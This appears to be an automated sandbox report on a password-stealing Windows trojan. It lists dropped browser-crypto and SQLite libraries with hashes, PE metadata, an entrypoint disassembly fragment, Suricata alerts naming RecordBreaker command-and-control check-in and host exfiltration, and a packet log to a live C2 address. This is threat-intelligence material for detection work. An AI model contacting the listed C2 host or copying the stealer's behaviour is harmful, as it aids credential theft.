Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\LocalLow\nss3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042296
Entropy (8bit):	6.775178510549486
Encrypted:	false
SSDEEP:	49152:6dvFywfzFAF7fg39IwA49Kap9bGt+qoStYnOsbqbeQom7gN7BpDD5SkIN1g5D92+:pptximYfpx8OwNiVG09
MD5:	F67D08E8C02574CBC2F1122C53BFB976
SHA1:	6522992957E7E4D074947CAD63189F308A80FCF2
SHA-256:	C65B7AFB05EE2B2687E6280594019068C3D3829182DFE8604CE4ADF2116CC46E
SHA-512:	2E9D0A211D2B085514F181852FAE6E7CA6AED4D29F396348BEDB59C556E39621810A9A74671566A49E126EC73A60D0F781FA9085EB407DF1EEFD942C18853BE5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........&...............................................`............@A.........................!..\...T...@....@..x....................P..h...h...................................................\....!..@....................text...i........................... ..`.rdata..............................@..@.data....N.......*..................@....00cfg.......0......................@..@.rsrc...x....@......................@..@.reloc..h....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	254392
Entropy (8bit):	6.686038834818694
Encrypted:	false
SSDEEP:	6144:uI7A8DMhFE2PlKOcpHSvV6x/CHQyhvs277H0mhWGzTdtb2bbIFxW7zrM2ruyYz+h:uI7A8DMhFE2PlbcpSv0x/CJVUmhDzTvS
MD5:	63A1FE06BE877497C4C2017CA0303537
SHA1:	F4F9CBD7066AFB86877BB79C3D23EDDACA15F5A0
SHA-256:	44BE3153C15C2D18F49674A092C135D3482FB89B77A1B2063D01D02985555FE0
SHA-512:	0475EDC7DFBE8660E27D93B7B8B5162043F1F8052AB28C87E23A6DAF9A5CB93D0D7888B6E57504B1F2359B34C487D9F02D85A34A7F17C04188318BB8E89126BF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...'.9b.........."!......................................................................@A........................tv..S....w...................................5..hq..............................................D{...............................text...V........................... ..`.rdata..............................@..@.data................~..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1099223
Entropy (8bit):	6.502588297211263
Encrypted:	false
SSDEEP:	24576:9jxwSkSteuT4P/y7HjsXAGJyGvN5z4Rui2IXLbO:9Vww8HyrjsvyWN54RZH+
MD5:	DBF4F8DCEFB8056DC6BAE4B67FF810CE
SHA1:	BBAC1DD8A07C6069415C04B62747D794736D0689
SHA-256:	47B64311719000FA8C432165A0FDCDFED735D5B54977B052DE915B1CBBBF9D68
SHA-512:	B572CA2F2E4A5CC93E4FCC7A18C0AE6DF888AA4C55BC7DA591E316927A4B5CFCBDDA6E60018950BE891FF3B26F470CC5CCE34D217C2D35074322AB84C32A25D1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".,b.v.........!......................... .....a......................................... .........................n................................... ...;...................................................................................text...............................`.P`.data...\|'... ...(..................@.`..rdata...D...P...F...:..............@.`@.bss....(.............................`..edata..n.......,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...;... ...<..................@.0B/4......8....`......................@.@B/19.....R....p......................@..B/31.....]'...@...(..................@..B/45......-...p......................@..B/57.....\............&..............@.0B/70.....#............2..

C:\Users\user\AppData\LocalLow\sxrrZ2vlKd2x

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

C:\Users\user\AppData\LocalLow\v65ld33l8chO

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\LocalLow\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80128
Entropy (8bit):	6.906674531653877
Encrypted:	false
SSDEEP:	1536:l9j/j2886xv555et/MCsjw0BuRK3jteopUecbAdz86B+JfBL+eNv:l9j/j28V55At/zqw+IqLUecbAdz8lJrv
MD5:	1B171F9A428C44ACF85F89989007C328
SHA1:	6F25A874D6CBF8158CB7C491DCEDAA81CEAEBBAE
SHA-256:	9D02E952396BDFF3ABFE5654E07B7A713C84268A225E11ED9A3BF338ED1E424C
SHA-512:	99A06770EEA07F36ABC4AE0CECB2AE13C3ACB362B38B731C3BAED045BF76EA6B61EFE4089CD2EFAC27701E9443388322365BDB039CD388987B24D4A43C973BD1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L....(.[.........."!.........................................................0......t(....@A.............................................................?... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\vhLF23LdEfK3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\w8f6jjkef969

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\LocalLow\zrd4TfxY2XvY

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6969712158039245
Encrypted:	false
SSDEEP:	24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
MD5:	31CD00400A977C512B9F1AF51F2A5F90
SHA1:	3A6B9ED88BD73091D5685A51CB4C8870315C4A81
SHA-256:	E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
SHA-512:	0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
Malicious:	false
Preview:	PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.05993333964046
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File size:	89'088 bytes
MD5:	093c5901f614540d964109a9ac58a0ff
SHA1:	0cf65ecbb3a7cb7e0e4b6104ce41147a629d61b8
SHA256:	f99f375d5b6400c8fefbbed89326980f379a59b6e66cae19d44fe60f3f31b7b7
SHA512:	85d39f24a516657f0cd846b27248b9ca6c1d60538a6d3bef9d8e2a34e0e6cd7ac7a1be35e67b67c36121ca43ba26ab88ad77785f5f89c5bb9f4a7e7b97dd919c
SSDEEP:	1536:BJBM2XPrkZG0OPDvQapPsfvQ2LJ0naCvMq81wUSCL7HXT5HPFYS2mO:BJBM2XPrQEDoapPv2Lma09fE7jBeS2mO
TLSH:	BF93C7E353F4DDA2EAD034738152EA3267BBEC3E1B257DC35275C762C10A4B54A89293
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......fZ.Q";o.";o.";o.iCk. ;o.iCi.#;o.iCn.%;o.";n.:;o.6Df.6;o.6Dm.#;o.Rich";o.........PE..L......d...............$.....R.............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x408cda
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64E4D5E8 [Tue Aug 22 15:36:08 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0fcb7632c48018563e5af2f63681ece5

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
and esp, FFFFFFF8h
sub esp, 00000944h
push ebx
push esi
mov esi, dword ptr [00412038h]
push edi
push 00413A10h
push 00000001h
push 00000000h
call esi
mov ebx, dword ptr [00412008h]
mov edi, eax
push 00413A20h
mov dword ptr [esp+14h], edi
call ebx
test edi, edi
mov edi, dword ptr [0041201Ch]
je 00007F2AD4EC6C08h
push dword ptr [esp+10h]
call edi
push 00413A30h
push 00000001h
push 00000000h
call esi
push 00413A40h
mov esi, eax
call ebx
push esi
call edi
lea eax, dword ptr [esp+00000090h]
push eax
push 00413A50h
call dword ptr [0041205Ch]
push eax
call dword ptr [0041200Ch]
push 00413A5Ch
push 00000001h
xor esi, esi
push esi
push esi
call dword ptr [0041204Ch]
push esi
push 00000001h
push eax
call dword ptr [0041202Ch]
mov edi, dword ptr [00412044h]
mov esi, dword ptr [00412020h]
test eax, eax
je 00007F2AD4EC6C06h
call esi
jmp 00007F2AD4EC6C0Eh
push 00413A6Ch
push 00413A78h
call edi
push 00413A84h
push 00000001h
push 00000000h
push 00000000h
call dword ptr [0041204Ch]
push 00000000h
push 00000001h
push eax
call dword ptr [0000002Ch]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x168bc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16790	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x12000	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x108c1	0x10a00	1fa70c152544c4f54ba827e70b16c424	False	0.40623531484962405	data	5.852866866342784	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x4b38	0x4c00	64f258be8cb21db304adf8f3e5699bc0	False	0.5388569078947368	data	5.32778416145768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x5e8	0x200	9d4facd5822211cd227fba75e0281c3c	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
KERNEL32.dll	OutputDebugStringA, FindClose, CreateMutexA, LocalAlloc, ReleaseMutex, CancelWaitableTimer, GetLastError, SetEvent, LoadLibraryA, ReleaseSemaphore, LoadLibraryW, ResetEvent, CreateWaitableTimerA, GetProcAddress, LocalFree, SetEnvironmentVariableA, CreateFileMappingW, CreateSemaphoreA, CreateEventA, lstrlenA, CloseHandle, FindFirstFileA
ADVAPI32.dll	RegOpenKeyExA
ole32.dll	CoInitialize

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-13T10:21:17.807068+0200	TCP	2854151	ETPRO MALWARE Win32/RecordBreaker Host Exfil M1	1	49711	80	192.168.2.6	193.142.147.59
2024-08-13T10:21:11.287359+0200	TCP	2036934	ET MALWARE Win32/RecordBreaker CnC Checkin M1	1	49711	80	192.168.2.6	193.142.147.59
2024-08-13T10:21:11.535611+0200	TCP	2036955	ET MALWARE Win32/RecordBreaker CnC Checkin - Server Response	1	80	49711	193.142.147.59	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2024 10:21:10.615840912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:10.621747971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:10.621819973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:10.621947050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:10.627620935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.287050009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.287282944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.287301064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.287358999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.287409067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.288353920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.288369894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.288419962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.289535046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.289551020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.289572001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.289587975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.289619923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.529520035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.535610914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.766478062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.766541004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.766721964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.766735077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.766765118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.766784906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.767812014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.767896891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.768315077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.768327951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.768373013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.769501925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.769515038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.769562960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.770454884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.770466089 CEST	80	49711	193.142.147.59	192.168.2.6
